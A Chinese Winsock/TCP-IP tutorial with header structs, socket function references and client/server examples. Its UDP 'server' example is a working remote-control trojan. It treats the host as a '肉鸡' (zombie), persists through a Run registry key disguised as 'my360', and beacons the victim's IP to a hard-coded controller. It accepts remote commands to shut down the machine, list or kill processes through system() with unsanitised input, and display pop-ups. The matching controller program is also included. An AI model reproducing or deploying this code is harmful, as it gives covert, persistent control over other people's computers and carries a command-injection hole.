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TCP/IP协议

OSI参考模型：应用层-表示层-会话层-传输层-网络层-数据链路层-物理层。

TCP/IP参考模型：传输控制协议/网际协议是互联网上最流行的协议，采用4层的层级结构，每一层都呼叫它的下一层所提供的网络来完成自己的需求。即应用层-传输层-互联网络层-网络接口层。

数据包格式

IP数据包

IP数据包是在IP协议间发送的，主要在以太网与网际协议模块之间传输，提供无连接数据包传输。不保证数据包的发送，但最大限度的发送数据。结构如下：

typedef struct HeadIP{unsigned char headerlen:4;//首部长度，4位unsigned char version:4;//版本，4位unsigned char servertype;//服务类型，8位unsigned short totallen;//长度，16位unsigned short id;//与idoff构成标识符，共占16为，前3位是标识，后13位是片偏移unsigned short idoff;unsigned char ttl;//生存时间，8位unsigned char proto;//协议，占8位unsigned short checksum;//检验首部和，16位unsigned int sourceIP;//源IP地址，32位unsigned int destIP;//目的IP地址，32位
}HeadIP;

TCP数据包

面向连接，全双工，可靠的传输。

typedef struct HeadTCP{WORD SourcePort;//16位源端口号WORD DePort;//16位目的端口DWORD SequenceNo;//32位序号DWORD ConfirmNo;//32位确认序号BYTE HeadLen;//与Flag为一个组成部分，首部长度，4位，保留6位，6位标识，共16位BYTE Flag;WORD WndSize;//16位窗口大小WORD CheckSum;//16位校验和WORD UrgPtr;//16位紧急指针
}HeadTCP;

三次握手连接

第一次握手：建立连接时，客户端发送syn包（syn=j）到服务器，并进入SYN_SENT状态，等待服务器确认；SYN：同步序列编号（Synchronize Sequence Numbers）。

第二次握手：服务器收到syn包，必须确认客户的SYN（ack=j+1），同时自己也发送一个SYN包（syn=k），即SYN+ACK包，此时服务器进入SYN_RECV状态；

第三次握手：客户端收到服务器的SYN+ACK包，向服务器发送确认包ACK(ack=k+1），此包发送完毕，客户端和服务器进入ESTABLISHED（TCP连接成功）状态，完成三次握手。

完成三次握手，客户端与服务器开始传送数据。

四次握手关闭

TCP关闭连接的步骤如下：

第一步，当主机A的应用程序通知TCP数据已经发送完毕时，TCP向主机B发送一个带有FIN附加标记的报文段（FIN表示英文finish）。

第二步，主机B收到这个FIN报文段之后，并不立即用FIN报文段回复主机A，而是先向主机A发送一个确认序号ACK，同时通知自己相应的应用程序：对方要求关闭连接（先发送ACK的目的是为了防止在这段时间内，对方重传FIN报文段）。

第三步，主机B的应用程序告诉TCP：我要彻底的关闭连接，TCP向主机A送一个FIN报文段。

第四步，主机A收到这个FIN报文段后，向主机B发送一个ACK表示连接彻底释放。

UDP数据包

UDP数据包是无连接的，一次服务，不提供差错恢复，不提供数据重传。

typedef struct HeadUDP{WORD SourcePort;//16位端口号WORD DePort;//16位目的端口WORD Len;//16位UDP长度WORD ChkSum;//16位UDP校验和
}HeadUDP;

ICMP数据包

ICMP协议被称为网际控制报文协议，是IP协议的附属协议，可以将某设备的故障信息发送到其他设备。

typedef struct HeadCMP{BYTE Type;//8为类型BYTE Code;//8位代码WORD ChkSum;//16位校验和
}HeadICMP;

套接字

所谓套接字，实际上是一个指向传输提供者的句柄。

Winsock套接字可以使应用程序适用于不同的网络名和网络地址。

#include"winsock2.h"//引用头文件
#pragma comment(lib,"ws2_32.lib")//链接库文件

初始化套接字：

WSADATA wsd;//定义WSADATA对象
WSAStratup(MAKEWORD(2,2),&wsd);//初始化套接字

常用的套接字函数

1. WSAStartup函数：初始化ws2_32.dll动态链接库

   int WSAStartup(WORD wVersionRequested,LPWSADATA IpWSAData);

2. socket函数：创建套接字

   SOCKET socket(int af,int type,int protocol);

3. bind函数：将套接字绑定到指定的端口和地址

   int bind(SOCKET s,const struct sockaddr FAR* name,int namelen);

4. listen函数：将套接字设定为监听模式
   int listen(SOCKET s,int backlog);

5. accept函数：接收连接请求

   SOCKET accept(SOCKET s,struct sockaddr FAR* addr,int FAR* addrlen);

6. closesocket函数：关闭套接字

   int closesocket(SOCKET s);

7. connect函数：发送连接请求

   int connect(SOCKET s,const struct sockaddr FAR* name,int namelen);

8. htons 函数：将16位无符号短整型数据转换为网络排列方式

   u_short htons(u_short hostshort);

9. htonl函数：将无符号长整型转换为网络排列方式

   u_long htonl(u_long hostlong);

10. inet_addr函数：将字符串表示的地址转换为32位的无符号长整型数据

    unsigned long inet_addr(const char FAR* cp);

11. recv函数：接收数据

    int recv(SOCKET s,char FAR* buf,int len,int flags);

12. send函数：发送数据

    int send(SOCKET s,const char FAR* buf,int len,int flags);

13. select函数：检查套接字是否处于可读、可写或错误状态

    int select(int nfds,fd_set FAR* readfds,fd_set FAR* writefds,fd_set FAR* exceptfds,const struct timeval FAR* timeout);

14. WSACleanup函数：释放ws2_32.dll动态链接库分配的资源

    int WSACleanup(void);

15. WSAAsyncSelect函数：将网络中的某事件关联到窗口的某个消息中

    int WSAAsyncSelect(SOCKET s,HWND hWnd,unsigned int wMsg,long iEvent);

16. ioctlsocket函数：设置套接字的I/O模式

    int ioctlsocket(SOCKET s,long cmd,u_long FAR* argp);

套接字阻塞模式

依据套接字函数执行方式的不同，可以将套接字分为两类：阻塞和非阻塞。

阻塞：函数调用玩会一直等待，直到I/O操作完成。故一个线程中同时只能进行一项I/O操作。

非阻塞：函数调用会立即返回。

默认情况下，套接字为阻塞套接字。为了将套接字设置为非阻塞，需要使用ioctlsocket函数。

unsigned long nCmd;
SOCKET clientSock = socket(AF_INET,SOCK_STREAM,0);//创建套接字
int nState=ioctlsocket(clientSock,FIONBIO,&nCmd);//设置非阻塞模式
if(nState != 0)
{TRACE("设置套接字非阻塞模式失败！");
}

连接过程

面向连接流

服务端：

|- WSAStartup函数初始化
|- 创建Socket
|- 用bind指定对象
|- listen设置监听
|- accept接收请求
|- send发送会话
|- closesocket关闭socket

客户端：

|- WSAStartup函数初始化
|- 创建Socket
|- connect请求连接
|- send发送会话
|- closesocket关闭socket

面向无连接流

服务端：

|- WSAStartup函数初始化
|- 创建Socket
|- 调用recvfrom和sendto进行通信
|- 调用closesocket关闭Socket

客户端：

|- WSAStartup函数初始化
|- 创建Socket
|- 调用recvfrom和sendto进行通信
|- 调用closesocket关闭socket

基于UDP协议的网络通信

UDP链接是面向无连接的，一次服务，不提供差错恢复，不提供数据重传。

SOCK_DGRAM协议族，UDP协议。

服务端实现

服务端启动后会给指定IP地址的客户端发送服务端的IP地址，以便客户端启动后自动连接到服务端。

#include<stdio.h>
// 获取进程列表
#include<windows.h>//windows底层函数
#include<Tlhelp32.h>
// 网络库（Linux头文件不同）
#include<winsock.h>
#pragma comment(lib,"ws2_32.lib")
// 取消窗口显示
//#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")// 全局变量
int sock;
bool going=true;// 分身活动区域
unsigned long WINAPI function(void* lp)
{// 发送肉鸡IP地址char hostname[255]="";// 获取系统主机名gethostname(hostname,sizeof(hostname));printf("系统主机名：%s\n",hostname);// 在数据链路层，主机名与IP地址对应hostent *host=gethostbyname(hostname);char* ip=inet_ntoa(*(struct in_addr *)*host->h_addr_list);//printf("%s\n",ip);// 强制转换网络地址为255.255.255.255类型// 定义控制方IP地址sockaddr_in ctladdr;ctladdr.sin_family=AF_INET;ctladdr.sin_port=htons(7676);ctladdr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");while(going){sendto(sock,ip,strlen(ip),0,(sockaddr*)&ctladdr,sizeof(ctladdr));Sleep(5000);// 5秒}return 0;
}int main(void)
{// 防止双开 互斥量HANDLE hmutex=CreateMutex(0,true,"LF");// (默认值，是否上锁，标识)if(hmutex!=NULL)// 不为空则创建成功{if(GetLastError()==ERROR_ALREADY_EXISTS){printf("已经打开了\n");return 0;}}// 开机自启//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY key;// HKEY代表打开的注册表首地址long reg=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&key);if(reg==ERROR_SUCCESS)// 打开成功返回为0{// 获取路径printf("注册表写入成功！\n");char path[255]="";GetModuleFileName(0,path,254);// 增加此运行程序的路径(key,"name",写入0,写入类型)// 用RegSetValueEx写在Run目录下RegSetValue(key,"my360",REG_SZ,path,strlen(path));// 关闭程序RegCloseKey(key);// Release版本才可以开机自启}// 1.网络是否存在，初始化网络 调用系统函数WSADATA wsaData;WSAStartup(0x202,&wsaData);// 网络库版本号，最新版本，获取初始化信息// 2.购买手机（获取套接字）//int sock=socket(AF_INET,SOCK_DGRAM,0);// SOCK_DGRAM协议族，UDP协议，默认为0// SOCK_STREAM, TCP/IP协议sock=socket(AF_INET,SOCK_DGRAM,0);// 3.绑定端口号(类似绑定手机卡)sockaddr_in addr;// 此电脑的信息（ip,端口号,协议族）addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//inet_addr("192.168.75.1");addr.sin_port = htons(7979);// 绑定的端口号addr.sin_family=AF_INET;bind(sock,(sockaddr*)&addr,sizeof(addr));// 4.收到指令，并处理char buf[1024]="";// 接收数据1#1等char cmd[4]="";// 截取字符串// 定义控制方IP地址sockaddr_in ctladdr;int ilen = sizeof(ctladdr);// 创建分身CreateThread(0,0,function,0,0,0);while(1) //recv(套接字，存储数据区，存储数据长度，默认为0){// 收信息recv/recvfrom// recvfrom不仅可以收到信息，还可以知道发送端的IP及端口号//int num=recv(sock,buf,sizeof(buf),0);int num=recvfrom(sock,buf,sizeof(buf),0,(sockaddr*)&ctladdr,&ilen);printf("收到控制端消息：%s %d\n",inet_ntoa(ctladdr.sin_addr),ctladdr.sin_port);// 截取前三个字符到cmd中strncpy(cmd,buf,3);buf[num]='\0';//printf("%s\n",buf);// 指令的识别，处理if(strcmp(cmd,"1#1")==0){system("shutdown -s -t 1000");// 关机}else if(strcmp(cmd,"1#2")==0){system("shutdown -r -t 1000");// 重启}else if(strcmp(cmd,"2#1")==0)// 获取进程列表{// 动态获取进程列表（二维数组）// 1.打开获取表格HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);// 2.遍历表格 Process32First(表格);PROCESSENTRY32 processMsg;// 结构体（程序名，ID，内存）Process32First(handle,&processMsg);do{//printf("%s\n",processMsg.szExeFile);sendto(sock,processMsg.szExeFile,strlen(processMsg.szExeFile),0,(sockaddr*)&ctladdr,sizeof(ctladdr));}while(Process32Next(handle,&processMsg));//指为空时返回0}else if(strcmp(cmd,"2#2")==0)//2#2#结束的进程名{//shell命令if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL){char *process=strtok(NULL,"#");char opr[100]="";// 字符串的拼接sprintf(opr,"taskkill /F /IM %s*",process);// 关闭某进程system(opr);//printf("%s\n",opr);//system("taskkill /F /IM FeiQ*");}}else if(strcmp(cmd,"4#1")==0)//弹出提示框(0,"内容","标题",提示框样式){// 截取字符串// 4#1#内容#标题if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”){char *content=strtok(NULL,"#");char *title=strtok(NULL,"#");MessageBox(0,content,title,MB_ICONINFORMATION|MB_OK|MB_SYSTEMMODAL);}}else if(strcmp(cmd,"6#1")==0){going=false;}else if(strcmp(cmd,"7#1")==0)// 显示广告{// 截取字符串// 7#1#内容if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”){char *content=strtok(NULL,"#");// 1.获取设备上下文接口：打印机，投影仪，屏幕HDC hdc=GetDC(0);// NULL默认输出主屏幕// 字体背景透明SetBkMode(hdc,TRANSPARENT);// 颜色SetTextColor(hdc,RGB(255,0,0));// 红绿蓝// 大小，改变字体，创建字体HFONT font=CreateFont(100,50,0,0,FW_BOLD,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_SWISS,"宋体");// 替换字体SelectObject(hdc,font);// 2.绘画字体TextOut(hdc,100,100,content,strlen(content));// 3.释放上下文ReleaseDC(0,hdc);}}}// 5.释放网络closesocket(sock);// 6.清空初始化WSACleanup();return 0;
}

客户端实现

只要服务端运行，就会给指定的客户端发送服务端IP地址，当客户端收到服务端IP地址后，会自动连接到服务端，并可对服务端进行关机、重启、获取服务端进程列表、结束进程，以及发送远程字幕和弹窗操作。

#include<stdio.h>
#include<winsock.h>
#pragma comment(lib,"ws2_32.lib")int num=0;
char ipBuf[1024]="";// 为线程指定活动区域
unsigned long WINAPI threadfun(void *sock)
{char buf[1024]="";while(1){//Sleep(5000);//无数据则一直等待，中途中断则返回0num=recv(*(int*)sock,buf,1023,0);buf[num]='\0';printf("收到服务器消息：%s\n",buf);strcpy(ipBuf,buf);/*ip地址转存给主函数，直接用buf行不通，可能一直被读写占用*/if(num<=0)break;//接收完成}return 0;
}void menu(int sock,sockaddr_in eaddr)
{printf("-------------控制系统----------------------\n");printf("-------------1.关机------------------------\n");printf("-------------2.重启------------------------\n");printf("-------------3.进程列表--------------------\n");printf("-------------4.结束进程--------------------\n");printf("-------------5.远程字幕--------------------\n");printf("-------------6.发送弹窗--------------------\n");printf("请选择：\n");int opt=0;scanf("%d",&opt);if(opt==1)//关机{sendto(sock,"1#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));}else if(opt==2)//重启{sendto(sock,"1#2",3,0,(sockaddr*)&eaddr,sizeof(eaddr));}else if(opt==3)//进程列表{sendto(sock,"2#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));}else if(opt==4)//结束进程{char process[100]="";printf("请输入需要结束的进程名：\n");scanf("%s",process);//拼接char cmd[1000]="";sprintf(cmd,"2#2#%s*",process);sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));}else if(opt==5)//投放字幕{char content[100]="";printf("请输入广告内容：");scanf("%s",content);//格式化字符串char cmd[1000]="";sprintf(cmd,"7#1#%s",content);sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));}else if(opt==6)//弹窗{char content1[100]="";printf("请输入弹窗内容：");scanf("%s",content1);char content2[100]="";printf("请输入标题：");scanf("%s",content2);//格式化字符串char cmd[1000]="";sprintf(cmd,"4#1#%s#%s",content1,content2);sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));printf("%d,%d\n",sock,sizeof(eaddr));}
}int main(void)
{// 1.初始化网络，网络是否存在WSADATA wsaData;WSAStartup(0x202,&wsaData);// 2.购买手机,获取套接字int sock=socket(AF_INET,SOCK_DGRAM,0);//AF_INET为英特网// 3.绑定手机卡（默认：若绑定，网卡会默认绑定（IP，随机端口号））// 不绑定，让系统默认绑定// 手动绑定IP地址，端口号sockaddr_in myaddr;myaddr.sin_family=AF_INET;myaddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);myaddr.sin_port=htons(7676);bind(sock,(sockaddr*)&myaddr,sizeof(myaddr));//绑定手机// 4.发送指令char buf[100]="";sockaddr_in eaddr;eaddr.sin_port=htons(7979);eaddr.sin_family=AF_INET;//eaddr.sin_addr.S_un.S_addr=inet_addr("10.10.205.162");// 创建一个线程接收(0,0,线程活动区域,传递值,0,0)HANDLE hThread;hThread = CreateThread(0,0,threadfun,&sock,0,0);if(hThread==NULL){printf("接收线程未运行！\n");}else{//Sleep(5000);printf("接收线程正在运行！\n");while(strlen(ipBuf)==0){printf("正在尝试与服务器建立连接...\n");Sleep(5000);}printf("已连接到服务器地址：%s\n",ipBuf);eaddr.sin_addr.S_un.S_addr=inet_addr(ipBuf);//停止获取IPsendto(sock,"6#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));while(1){menu(sock,eaddr);//菜单}}// 5.释放网络closesocket(sock);// 6.清除WSACleanup();return 0;
}

基于TCP/IP协议的网络通信

TCP/IP协议是面向连接的，安全的。

服务端实现

接收客户端A，则给客户端发送字符B，接收C，则发送字符D。

#include<iostream.h>
#include<stdlib.h>
#include"winsock2.h"//引用头文件
#pragma comment(lib,"ws2_32.lib")//引用库文件
//线程实现函数DWORD WINAPI threadpro(LPVOID pParam)
{SOCKET hsock=(SOCKET)pParam;char buffer[1024];char sendBuffer[1024];if(hsock != INVALID_SOCKET)cout<<"Start Receive!"<<endl;while(1){//循环接收发送的内容int num = recv(hsock,buffer,1024,0);//阻塞函数，等待接收内容if(num>=0)cout<<"Receive form clinet!"<<buffer<<endl;if(!strcmp(buffer,"A")){memset(sendBuffer,0,1024);strcpy(sendBuffer,"B");int ires = send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息cout<<"Send to Client: "<<sendBuffer<<endl;}else if(!strcmp(buffer,"C")){memset(sendBuffer,0,1024);strcpy(sendBuffer,"D");int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息cout<<"Send to client: "<<sendBuffer<<endl;}else if(!strcmp(buffer,"exit")){cout<<"Client Close"<<endl;cout<<"Server Process Close"<<endl;return 0;}else{memset(sendBuffer,0,1024);strcpy(sendBuffer,"ERR");int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);cout<<"Send to client"<<sendBuffer<<endl;}}return 0;
}
//主函数
void main()
{WSADATA wsd;//定义WSADATA对象WSAStartup(MAKEWORD(2,2),&wsd);SOCKET m_SockServer;sockaddr_in serveraddr;sockaddr_in serveraddrfrom;SOCKET m_Server[20];serveraddr.sin_family = AF_INET;//设置服务器地址serveraddr.sin_port=htons(4600);//设置端口号serveraddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");m_SockServer=socket(AF_INET,SOCK_STREAM,0);int i=bind(m_SockServer,(sockaddr*)&serveraddr,sizeof(serveraddr));cout<<"bind:"<<i<<endl;int iMaxConnect=20;//最大连接数int iConnect=0;int iLisRet;char buf[]="This is Server\0";//向客户端发送的内容char WarnBuf[]="It is over Max connect\0";int len=sizeof(sockaddr);while(1){iLisRet=listen(m_SockServer,0);//进行监听m_Server[iConnect]=accept(m_SockServer,(sockaddr*)&serveraddrfrom,&len);//同意连接if(m_Server[iConnect]!=INVALID_SOCKET){int ires=send(m_Server[iConnect],buf,sizeof(buf),0);//发送字符过去cout<<"发送消息："<<buf<<endl;cout<<"accept: "<<ires<<endl;//显示已经建立连接次数iConnect++;if(iConnect>iMaxConnect){int ires=send(m_Server[iConnect],WarnBuf,sizeof(WarnBuf),0);}else{HANDLE m_Handel;//线程句柄DWORD nThreadId=0;//线程IDm_Handel=(HANDLE)::CreateThread(NULL,0,threadpro,(LPVOID)m_Server[--iConnect],0,&nThreadId);//启动线程cout<<"启动线程!"<<endl;}}}WSACleanup();
}

客户端实现

给服务端发送A，则会接受到字符B，发送C，则收到D。

#include<iostream.h>
#include<stdlib.h>
#include<stdio.h>
#include"winsock2.h"
#include<time.h>
#pragma comment(lib,"ws2_32.lib")void main()
{WSADATA wsd;//定义WSADATA对象WSAStartup(MAKEWORD(2,2),&wsd);SOCKET m_SockClient;sockaddr_in clientaddr;clientaddr.sin_family=AF_INET;//设置服务器地址clientaddr.sin_port=htons(4600);//设置服务器端口号clientaddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");m_SockClient=socket(AF_INET,SOCK_STREAM,0);int i=connect(m_SockClient,(sockaddr*)&clientaddr,sizeof(clientaddr));//连接超时cout<<"connect:"<<i<<endl;char buffer[1024];char inBuf[1024];int num;num=recv(m_SockClient,buffer,1024,0);//阻塞if(num>0){cout<<"Receive from server:"<<buffer<<endl;//欢迎信息while(1){num=0;cout<<"请输入要发送的消息："<<endl;cin>>inBuf;if(!strcmp(inBuf,"exit")){send(m_SockClient,inBuf,sizeof(inBuf),0);//发送退出指令return;}send(m_SockClient,inBuf,sizeof(inBuf),0);num=recv(m_SockClient,buffer,1024,0);//接收客户端发送过来的数据if(num>=0)cout<<"接收消息："<<buffer<<endl;}}
}